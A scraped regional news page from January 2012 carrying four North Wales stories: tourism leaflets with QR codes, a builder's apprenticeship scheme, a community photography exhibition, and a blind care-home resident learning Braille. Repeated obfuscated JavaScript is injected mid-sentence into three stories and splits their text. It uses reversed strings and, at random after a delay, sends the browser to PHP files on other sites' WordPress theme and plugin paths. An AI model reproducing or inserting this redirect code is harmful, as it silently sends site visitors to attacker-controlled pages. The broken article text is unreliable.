Category: News

North Wales Tourism QR revolution

The Tourism Partnership for Wales launch new leaflets incorporating QR codes for Smart Phones. Pictured: Carole Startin and Esther Roberts

Top tourism sites in Wrexham and Flintshire could soon have their own special bar code – even  Chirk and Flint castles..

The hi-tech QR or quick response codes can be scanned with a mobile phone toswiftly direct a visitor to a website.

The technology is being adopted by Tourism Partnership North Wales, who are responsible for the strategic development of the region’s visitor economy.

They have included a QR code on a quarter of a million Great Days Out leaflets to be distributed across North Wales, the North West and the Midlands.

The code can be scanned with a smartphone and direct the user to a website with up to date information about the attractions.

Carole Startin, Marketing and Events Executive for Tourism Partnership North Wales, said: “It’s a wonderful tool and you can create your own QR codes very easily.

“It means you can encode a business card, an address or details of the attraction such as opening times and other information.

“You can put QR codes on anything – it could be on an attraction, a building or even the side of a bus and a simple scan with a smartphone will direct the user to the encoded information or website.

“It has the potential to unlock any information you wish including video and audio – it could be bus timetables or places to eat and drink or accommodation. It’s an immediate link between a place and a website.

“And the information can be constantly updated so that a leaflet with a QR code on it doesn’t become outdated when admission charges or opening times change and that will mean a longer shelf life, lower print costs and less waste.”

The QR code on the Great Days Out leaflet directs smartphone users to  www.gonorthwales.co.uk

The code is read by an application either already on the smartphone or easily downloaded to it and which can also be used to create QR codes.

Esther Roberts, Managing Director of North Wales Tourism, said the leaflet would be distributed in February across the border in England with 110,000 going to the North West of England and 90,000 to the Midlands.  The remaining 50,000 were already being distributed across North Wales.

She said: “We try to encourage tourism operators not to put dates or prices in the leaflets so that they are not time sensitive – that information can be accessed via the QR code.”

QR codes were first developed in 1994 in the car industry to track vehicles on a production line but they are now used much more widely including for entertainment and transport ticketing as well as for product marketing.

Users with a camera phone equipped with the correct reader application can scan the image of the
QR code to display text, contact information, connect to a wireless network or open a web page in the telephone’s browser.

Carole Startin added: “They’re a great marketing tool and they can really help the visitor get so much more from the attraction by instantly putting them in touch with anything from a web page to a Youtube video – the possibilities are endless.

“You could put them on the side of a tourist information centre so that even if the centre was closed visitors could still easily access information.

“They could be directed straight to the relevant website without having to search through Google.

“We are actively encouraging attractions to use them and I know GreenWood Forest Park are going to include a QR code on their 2012 leaflet and some attractions consortia are looking at using them too.

“It should be a huge money saver and a huge print saver because you won’t have to print as much or as often.

“The key is not to link to a website home page but something really interesting for  customers – a video link, a special offer, an event, your online shop – the list is endless, but also to ensure the wording underneath the QR code is inviting and interesting.

“It’s a good idea to put QR codes on entry tickets or feedback forms, in a cafe or shop, or even on till receipts.  Be inventive – they only take minutes to create.”

Wednesday January 4th, 2012

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Builder’s apprentice policy praised

Anwyls apprentices at Northop College. Pictured are Apprentices Ryan Bailie and Matthew Allport watched by Anwyls Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Tom Anwyl, Celia Williams, area manager of construction skills and Steve Jackson, Vice Principal.

An award-winning builder has been praised for their apprenticeship programme by the construction industry’s training body.

Anwyl Construction, who built the new Learning Centre and Small Animals Centre at Northop College and also the Constructions Skills Centre at Deeside College, estimate that up to 40 per cent of their 150-strong permanent workforce are apprentices or former apprentices.

Celia Williams, North and Mid Wales Area Delivery Manager for the Construction Industry Training Board-ConstructionSkills, said: “We have worked with Anwyl Construction for a
number of years and they are very proactive when it comes to supporting apprenticeships.

“They take on traditional apprentices and are also involved in the Pathway to Apprenticeship scheme where they offer work experience to building industry students at colleges across North Wales.

“This gives the students the opportunity to see what a career in the construction industry is all about and if they do well then Anwyls will offer them apprenticeships.”

Many of their apprentices over the years have come from Deeside College including Ed Wild, the site manager for the £2.1 million new Learning Centre, adjudged North Wales’s Best New Educational Building earlier this year.

He learned his trade as a bricklayer at Deeside College where he was Apprentice of the Year and
Rhyl-based Anwyls currently have students on work experience at a number of sites across North Wales.

College Vice-Principal Steve Jackson said: “We have about 100 construction apprentices and we play an important pat in preparing young people to go into the construction trade.

“We have a very good partnership with Anwyls and the skills centre they have built for us will provide the construction industry with a workforce for the future.”

Anwyl’s Director Tom Anwyl said: “We view apprentices as the lifeblood of the building industry and we take particular pride in developing them to become the site managers and contracts managers of the future.

“We are also pleased that many of our apprentices have had good and successful careers with us and then gone on to set up their own companies many of which now sub-contract to us.

“By helping these companies to start up we are also helping the local economy and we have a number of examples of our former site and contracts managers now heading companies which employ significant numbers of people.

“A number of our former apprentices have won major awards with us as site and contracts managers and it is pleasing when you see talented staff progress and build careers with us.”

Among those to have worked at Northop College is Matthew Allport, 23, from Prestatyn, who qualified as a joiner with Anwyls and is now an apprentice site manager and he said: “I love it. It gets more advanced and there’s so much to it but it’s very interesting work and Anwyls work across so many different sites that you get lots of different experience.

“I’m hoping to be a project manager in the next two or three years by which time I should have the
qualifications and, through working with Anwyls, the experience as well.”

Ryan Baillie, 18, from St Asaph, came to Anwyls on work experience from Llandrillo College, and was taken on as an apprentice joiner.

He said: “I’ve really enjoyed the work. I’ve worked at Bangor University and also at Northop College on the Small Animals Centre.

“College is good but you learn so much on site. You really see how the work is done there.”

Anwyl Construction take on at least four apprentices a year and Tom Anwyl estimates that personnel entered via this route now make up 40 per cent of the workforce, approximately 60
staff.

He added: “We have a very good working relationship with CITB-ConstructionSkills
and we discuss our apprenticeships with them and work with them to help place people with potential.

“We also give students work experience and try and take them on if they like what they see of us and of the industry and we work very closely with the colleges where the apprentices are trained.”

Anwyl Construction have been responsible for the state of the art facilities in the construction
faculty at Deeside College at Connah’s Quay and they have also carried out major projects in the last 12 months at Glyndwr University, Wrexham, Llandrillo College, Rhos on Sea, and at Coleg Menai, Llangefni.

At Coleg Menai’s new Energy and Fabrication Centre Anwyls became the first North Wales company to win the prestigious BREEAM excellence award for Coleg Menai’s new £2.5 million
Energy and Fabrication Centre at Llangefni.

That rates the building for its environmental impact and its sustainability and to get it the Rhyl-based construction company had to adhere to the strictest standards and they passed them with flying colours.

Tom Anwyl said: “We consciously take care to invest in our staff going forward and that helps us to
operate better and more consistently and gives benefit to our staff and our clients.

“We are always looking to develop of staff and are implementing schemes to facilitate the further
progression into senior management positions.

“CITB-ConstructionSkills are also assisting us in taking personnel other than the traditional apprentice route such as the long term unemployed providing them with suitable training to
enable us to provide them with work experience and even permanent positions in the case of the projects recently completed in Northop.”

Wednesday January 4th, 2012

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Students put Flintshire in focus

An exhibition of pho$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor has been working with for Holywell Communities First has been held at Holywell Art and Craft Mill.Student John Shill with his picture of a swan and from left, Julie Daley, Ray Hammond and Dan Morgan of Communities First.

A group of talented mature students have captured the visual beauty of Flintshire in a stunning photographic exhibition.

Their work has earned rave reviews after going on show at the Holywell Art and Craft Mill.

The pictures are the culmination of an artistic collaboration between Coleg Harlech Workers’ Educational Association and Holywell Communities First.

The students got to grips with a fully accredited beginners’ course in digital photographer and editing at the Art and Craft Mill.

Coleg Harlech course tutor Keith Stanley was extremely proud after casting his critical eye over their work.

Mr Stanley said: “It has been a pleasure to lead a wonderful group of highly talented students. We
set them the task of taking pictures on the theme of Flintshire Scenes for this exhibition of their work.

“They haven’t disappointed. They have achieved some stunning shots and used what they have learnt throughout the course to produce fantastic and stunning digital images.

“The course has seen students of all abilities working together to learn the basic rules of photography from how to hold a camera, composition and what to do with their digital image once they have it on their camera.

“They have learnt how important the process is and how much work is involved once their image is downloaded to a computer. It isn’t easy knowing how to crop an image and how to enhance and manipulate an image.”

“It’s a fully accredited course run by Coleg Harlech.We work hard to make sure they fully understand all aspects of basic digital photography and digital editing.

“Coleg Harlech will continue working with Holywell Communities First and a new Digital Photography for Beginners Course begins in the New Year.”

Holywell Communities First development worker  Julie Daley was equally delighted with the outcome.

She said: “The Coleg Harlech photography course has given local people the opportunity to promote and celebrate culture in Flintshire through the creative experience of digital photography.

“The students, supported by Coleg Harlech tutor, Keith Stanley, have worked towards improving their skills and gaining accreditation through their course. The wonderful exhibition of their photographic images of Flintshire is the culmination of all their hard work.”

Student Beverely Kelleher said: “I have learned huge amounts and have been encouraged to carry on and learn so much more.

“I am really interested in macro photography and digital editing. I never realised just how much you can enhance a photograph once it’s on your computer.

“I am very grateful to both Coleg Harlech and Holywell Communities First for putting the course together, it has been a wonderful experience and I really do intend to carry on learning.”

Retired Maintenance Engineer Eldon Hughes, of Holywell has always been interested in photography but never knew how to do it properly until he enrolled on the course.

He said: “It has been really good to learn how to compose and enhance and edit pictures on a
computer. Our Coleg Harlech tutor, Keith Stanley, has been an inspiration and has explained everything so clearly.

“I have also enjoyed getting out with my camera and the two pictures I have exhibited where taken at very different places. The first, A Walk in the Woods, I took at Loggerheads Country Park while the second, Last Resting Place, is a shot of an old derelict boat in Conwy harbour.”

Fellow student Veronica Turner, of Holywell, wanted to be able to use her camera more confidently so enrolled on the course.

She said: “I thoroughly enjoyed all aspects of the course and am very grateful to Coleg Harlech and Communities First for putting the course together.

“The problem is it seems that the more you learn the more there is to learn! I have really enjoyed learning about composition and digital editing.

“I am thrilled to have been awarded my certificate and fully intend to carry on learning and moving onto the next level.”

Retired council worker, John Shill, says the Coleg Harlech photography course was the first one he had ever undertaken.

He said: “I have really enjoyed it and have really learnt a lot, especially about how to compose a picture and what to do with it once you get it on your computer.

“I have done the beginners course and will now progress to the intermediate course. I think its great that Coleg Harlech and Communities First have worked together to give students a chance to learn more about photography.”

A new Coleg Harlech and Communities First free 10 week Digital Photography for Beginners Course, run by tutor Keith Stanley, starts on Wednesday, January 11th 2012 at Holywell Arts and Craft Mill. For details on how to enrol call 01352 712483.

Wednesday January 4th, 2012

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News

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New world opens for Suzanne

Gerry Humphreys the activities officer at Pendine Park Wrexham, with highfield resident Suzanne Lewis who has recently started $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to learn Braille.

A CARE home is opening up a whole new world for a blind resident.

Suzanne Lewis completely lost her sight more than 10 years ago, but, for a number of reasons, had never learnt to read Braille.

When Gerry Humphreys, the Activities Officer at Wrexham-based Pendine Park, found out, she set about putting it right and now Suzanne is taking Braille classes every week.

“It will open up a lot of doors for Suzanne and help make her a lot more independent,” said Gerry.

Thirty-two year old Suzanne arrived at the Pendine Park’s Highfield care home about six months ago, one of two homes owned by Pendine which provides 24 hour nursing care, along with respite and day care, for adults of all ages.

“I am being assessed to see if I can live in a flat or bungalow on my own with carers coming in regularly,” said Suzanne.

She was born in Prestatyn, but moved to Yorkshire with her mother and step-father and twin sister Joanne, when she was 14.

Suzanne, who has spina bifida and has to use a wheelchair, had to endure countless trips to hospital for various operations and says pressure on her brain caused her eyesight to start failing.

“I lost my sight completely in 2001, it was pretty devastating, I didn’t cope too well at first, always bumping into things. I couldn’t see to cut up my own food. Now I just take every day as it comes.”

While living in Yorkshire she was meant to take Braille lessons, but says the tutor “never turned up” and so she missed the opportunity to learn.

But with sister Joanne having returned to North Wales, along with her brother, and father, uncles and aunts in North Wales, Suzanne realised more than anything else she wanted to return home to her family.

About six months ago a place became available at Highfield and her wish was granted.

“It’s great here, everyone is friendly and they all talk to you, even if I get a flat I hope I can come back here sometimes,” said Suzanne.

Gerry added: “When Suzanne said she had never had the opportunity to learn Braille I thought ‘right we can do something about that’ so I looked around and found a local centre where I could take Suzanne to learn Braille.

“We go every Tuesday morning for lessons with Keith Brown at Vision Support. It seems very difficult but she has been wonderful and can already identify about seven letters.”

Wednesday January 4th, 2012

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